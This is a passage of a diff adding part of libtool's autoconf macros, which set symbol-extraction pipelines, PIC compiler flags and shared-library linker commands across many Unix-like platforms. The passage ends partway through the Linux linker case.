AC_LIBTOOL_PROG_COMPILER_NO_RTTI + + +# AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE +# --------------------------------- +AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], +[AC_REQUIRE([AC_CANONICAL_HOST]) +AC_REQUIRE([AC_PROG_NM]) +AC_REQUIRE([AC_OBJEXT]) +# Check for command to grab the raw symbol name followed by C symbol from nm. +AC_MSG_CHECKING([command to parse $NM output from $compiler object]) +AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe], +[ +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[[BCDEGRST]]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)' + +# Transform the above into a raw symbol and a C symbol. +symxfrm='\1 \2\3 \3' + +# Transform an extracted symbol line into a proper C declaration +lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[[BCDT]]' + ;; +cygwin* | mingw* | pw32*) + symcode='[[ABCDGISTW]]' + ;; +hpux*) # Its linker distinguishes data from code symbols + if test "$host_cpu" = ia64; then + symcode='[[ABCDEGRST]]' + fi + lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'" + lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'" + ;; +irix* | nonstopux*) + symcode='[[BCDEGRST]]' + ;; +osf*) + symcode='[[BCDEGQRST]]' + ;; +solaris* | sysv5*) + symcode='[[BDRT]]' + ;; +sysv4) + symcode='[[DFNSTU]]' + ;; +esac + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[[ABCDGIRSTW]]' ;; +esac + +# Try without a prefix undercore, then with it. +for ac_symprfx in "" "_"; do + + # Write the raw and C identifiers. + lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*\($ac_symprfx\)$sympat$opt_cr$/$symxfrm/p'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext < $nlist) && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if grep ' nm_test_var$' "$nlist" >/dev/null; then + if grep ' nm_test_func$' "$nlist" >/dev/null; then + cat < conftest.$ac_ext +#ifdef __cplusplus +extern "C" { +#endif + +EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext' + + cat <> conftest.$ac_ext +#if defined (__STDC__) && __STDC__ +# define lt_ptr_t void * +#else +# define lt_ptr_t char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +const struct { + const char *name; + lt_ptr_t address; +} +lt_preloaded_symbols[[]] = +{ +EOF + $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext + cat <<\EOF >> conftest.$ac_ext + {0, (lt_ptr_t) 0} +}; + +#ifdef __cplusplus +} +#endif +EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_save_LIBS="$LIBS" + lt_save_CFLAGS="$CFLAGS" + LIBS="conftstm.$ac_objext" + CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)" + if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then + pipe_works=yes + fi + LIBS="$lt_save_LIBS" + CFLAGS="$lt_save_CFLAGS" + else + echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD + fi + else + echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD + cat conftest.$ac_ext >&5 + fi + rm -f conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test "$pipe_works" = yes; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done +]) +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + AC_MSG_RESULT(failed) +else + AC_MSG_RESULT(ok) +fi +]) # AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE + + +# AC_LIBTOOL_PROG_COMPILER_PIC([TAGNAME]) +# --------------------------------------- +AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC], +[_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)= +_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= +_LT_AC_TAGVAR(lt_prog_compiler_static, $1)= + +AC_MSG_CHECKING([for $compiler option to produce PIC]) + ifelse([$1],[CXX],[ + # C++ specific cases for pic, static, wl, etc. + if test "$GXX" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + mingw* | os2* | pw32*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + *djgpp*) + # DJGPP does not support shared libraries at all + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + case $host_os in + aix4* | aix5*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + chorus*) + case $cc_basename in + cxch68) + # Green Hills C++ Compiler + # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" + ;; + esac + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + esac + ;; + dgux*) + case $cc_basename in + ec++) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + ghcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD uses GNU C++ + ;; + hpux9* | hpux10* | hpux11*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + if test "$host_cpu" != ia64; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + fi + ;; + aCC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + ;; + *) + ;; + esac + ;; + irix5* | irix6* | nonstopux*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + # CC pic flag -KPIC is the default. + ;; + *) + ;; + esac + ;; + linux*) + case $cc_basename in + KCC) + # KAI C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + icpc) + # Intel C++ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + cxx) + # Compaq C++ + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + lynxos*) + ;; + m88k*) + ;; + mvs*) + case $cc_basename in + cxx) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall' + ;; + *) + ;; + esac + ;; + netbsd*) + ;; + osf3* | osf4* | osf5*) + case $cc_basename in + KCC) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,' + ;; + RCC) + # Rational C++ 2.4.1 + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + cxx) + # Digital/Compaq C++ + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + *) + ;; + esac + ;; + psos*) + ;; + sco*) + case $cc_basename in + CC) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + *) + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + ;; + gcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + ;; + *) + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + lcc) + # Lucid + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + ;; + *) + ;; + esac + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + ;; + *) + ;; + esac + ;; + unixware*) + ;; + vxworks*) + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +], +[ + if test "$GCC" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + ;; + + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + else + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon' + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # PIC (with -KPIC) is the default. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + newsos6) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + ccc*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All Alpha code is PIC. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All OSF/1 code is PIC. + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + sco3.2v5*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kpic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-dn' + ;; + + solaris*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sunos4*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + uts4*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + *) + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +]) +AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)]) + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then + AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works], + _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1), + [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [], + [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in + "" | " "*) ;; + *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;; + esac], + [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no]) +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + *) + _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])" + ;; +esac +]) + + +# AC_LIBTOOL_PROG_LD_SHLIBS([TAGNAME]) +# ------------------------------------ +# See if the linker supports building shared libraries. +AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS], +[AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +ifelse([$1],[CXX],[ + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + case $host_os in + aix4* | aix5*) + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + else + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols' + fi + ;; + pw32*) + _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds" + ;; + cygwin* | mingw*) + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' + ;; + *) + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + ;; + esac +],[ + runpath_var= + _LT_AC_TAGVAR(allow_undefined_flag, $1)= + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no + _LT_AC_TAGVAR(archive_cmds, $1)= + _LT_AC_TAGVAR(archive_expsym_cmds, $1)= + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)= + _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)= + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)= + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)= + _LT_AC_TAGVAR(thread_safe_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_minus_L, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown + _LT_AC_TAGVAR(hardcode_automatic, $1)=no + _LT_AC_TAGVAR(module_cmds, $1)= + _LT_AC_TAGVAR(module_expsym_cmds, $1)= + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + _LT_AC_TAGVAR(include_expsyms, $1)= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + _LT_AC_TAGVAR(ld_shlibs, $1)=no + cat <&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + + # Samuel A. Falvo II reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(always_export_symbols, $1)=no + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + _LT_AC_TAGVAR(ld_shlibs, $1)=no + cat <&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + sunos4*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + linux*) + if 